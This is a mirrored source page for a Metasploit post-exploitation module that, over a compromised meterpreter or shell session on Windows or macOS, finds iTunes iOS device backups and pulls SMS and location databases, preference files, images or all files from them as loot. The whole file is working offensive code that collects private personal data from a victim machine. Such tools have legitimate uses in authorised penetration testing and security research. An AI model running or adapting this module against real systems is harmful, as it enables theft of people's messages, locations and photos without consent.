CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/apple_ios_backup.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::File
9
include Msf::Post::Windows::Version
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',
16
'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },
17
'License' => MSF_LICENSE,
18
'Author' => [
19
'hdm',
20
'bannedit' # Based on bannedit's pidgin_cred module structure
21
],
22
'Platform' => %w[osx win],
23
'SessionTypes' => ['meterpreter', 'shell'],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
core_channel_eof
28
core_channel_open
29
core_channel_read
30
core_channel_write
31
stdapi_sys_config_getenv
32
stdapi_sys_config_getuid
33
]
34
}
35
}
36
)
37
)
38
register_options(
39
[
40
OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),
41
OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
42
OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
43
OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
44
]
45
)
46
end
47
48
#
49
# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
50
#
51
#
52
def run
53
case session.platform
54
when 'osx'
55
@platform = :osx
56
paths = enum_users_unix
57
when 'windows'
58
@platform = :windows
59
drive = session.sys.config.getenv('SystemDrive')
60
version = get_version_info
61
62
if version.build_number >= Msf::WindowsVersion::Vista_SP0
63
@appdata = '\\AppData\\Roaming'
64
@users = drive + '\\Users'
65
else
66
@appdata = '\\Application Data'
67
@users = drive + '\\Documents and Settings'
68
end
69
70
if session.type != 'meterpreter'
71
print_error 'Only meterpreter sessions are supported on windows hosts'
72
return
73
end
74
paths = enum_users_windows
75
else
76
print_error "Unsupported platform #{session.platform}"
77
return
78
end
79
80
if paths.empty?
81
print_status('No users found with an iTunes backup directory')
82
return
83
end
84
85
process_backups(paths)
86
end
87
88
def enum_users_unix
89
if @platform == :osx
90
home = '/Users/'
91
else
92
home = '/home/'
93
end
94
95
if got_root?
96
userdirs = []
97
session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|
98
userdirs << home + user_name
99
end
100
userdirs << '/root'
101
else
102
userdirs = [ home + whoami ]
103
end
104
105
backup_paths = []
106
userdirs.each do |user_dir|
107
output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")
108
if output =~ /No such file/i
109
next
110
else
111
print_status("Found backup directory in: #{user_dir}")
112
backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"
113
end
114
end
115
116
check_for_backups_unix(backup_paths)
117
end
118
119
def check_for_backups_unix(backup_dirs)
120
dirs = []
121
backup_dirs.each do |backup_dir|
122
print_status("Checking for backups in #{backup_dir}")
123
session.shell_command("ls #{backup_dir}").each_line do |dir|
124
next if dir == '.' || dir == '..'
125
126
if dir =~ /^[0-9a-f]{16}/i
127
print_status("Found #{backup_dir}\\#{dir}")
128
dirs << ::File.join(backup_dir.chomp, dir.chomp)
129
end
130
end
131
end
132
dirs
133
end
134
135
def enum_users_windows
136
paths = Array.new
137
138
if got_root?
139
begin
140
session.fs.dir.foreach(@users) do |path|
141
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i
142
143
bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
144
dirs = check_for_backups_win(bdir)
145
dirs.each { |dir| paths << dir } if dirs
146
end
147
rescue ::Rex::Post::Meterpreter::RequestError
148
# Handle the case of the @users base directory is not accessible
149
end
150
else
151
print_status "Only checking #{whoami} account since we do not have SYSTEM..."
152
path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
153
dirs = check_for_backups_win(path)
154
dirs.each { |dir| paths << dir } if dirs
155
end
156
return paths
157
end
158
159
def check_for_backups_win(bdir)
160
dirs = []
161
begin
162
print_status("Checking for backups in #{bdir}")
163
session.fs.dir.foreach(bdir) do |dir|
164
if dir =~ /^[0-9a-f]{16}/i
165
print_status("Found #{bdir}\\#{dir}")
166
dirs << "#{bdir}\\#{dir}"
167
end
168
end
169
rescue Rex::Post::Meterpreter::RequestError
170
# Handle base directories that do not exist
171
end
172
dirs
173
end
174
175
def process_backups(paths)
176
paths.each { |path| process_backup(path) }
177
end
178
179
def process_backup(path)
180
print_status("Pulling data from #{path}...")
181
182
mbdb_data = ''
183
mbdx_data = ''
184
185
print_status("Reading Manifest.mbdb from #{path}...")
186
if session.type == 'shell'
187
mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
188
if mbdb_data =~ /No such file/i
189
print_status("Manifest.mbdb not found in #{path}...")
190
return
191
end
192
else
193
mfd = session.fs.file.new("#{path}\\Manifest.mbdb", 'rb')
194
mbdb_data << mfd.read until mfd.eof?
195
mfd.close
196
end
197
198
print_status("Reading Manifest.mbdx from #{path}...")
199
if session.type == 'shell'
200
mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
201
if mbdx_data =~ /No such file/i
202
print_status("Manifest.mbdx not found in #{path}...")
203
return
204
end
205
else
206
mfd = session.fs.file.new("#{path}\\Manifest.mbdx", 'rb')
207
mbdx_data << mfd.read until mfd.eof?
208
mfd.close
209
end
210
211
manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)
212
213
patterns = []
214
patterns << /\.db$/i if datastore['DATABASES']
215
patterns << /\.plist$/i if datastore['PLISTS']
216
patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
217
patterns << /.*/ if datastore['EVERYTHING']
218
219
done = {}
220
patterns.each do |pat|
221
manifest.entries.each_pair do |fname, info|
222
next if done[fname]
223
next if info[:filename].to_s !~ pat
224
225
print_status("Downloading #{info[:domain]} #{info[:filename]}...")
226
227
begin
228
fdata = ''
229
if session.type == 'shell'
230
fdata = session.shell_command("cat #{path}/#{fname}")
231
else
232
mfd = session.fs.file.new("#{path}\\#{fname}", 'rb')
233
fdata << mfd.read until mfd.eof?
234
mfd.close
235
end
236
bname = info[:filename] || 'unknown.bin'
237
rname = info[:domain].to_s + '_' + bname
238
rname = rname.gsub(%r{/|\\}, '.').gsub(/\s+/, '_').gsub(/[^A-Za-z0-9._]/, '').gsub(/_+/, '_')
239
ctype = 'application/octet-stream'
240
241
store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")
242
rescue ::Interrupt
243
raise $ERROR_INFO
244
rescue ::Exception => e
245
print_error("Failed to download #{fname}: #{e.class} #{e}")
246
end
247
248
done[fname] = true
249
end
250
end
251
end
252
253
def got_root?
254
case @platform
255
when :windows
256
if session.sys.config.getuid =~ /SYSTEM/
257
return true
258
else
259
return false
260
end
261
else # unix, bsd, linux, osx
262
ret = whoami
263
if ret =~ /root/
264
return true
265
else
266
return false
267
end
268
end
269
end
270
271
def whoami
272
if @platform == :windows
273
session.sys.config.getenv('USERNAME')
274
else
275
session.shell_command('whoami').chomp
276
end
277
end
278
end
279
280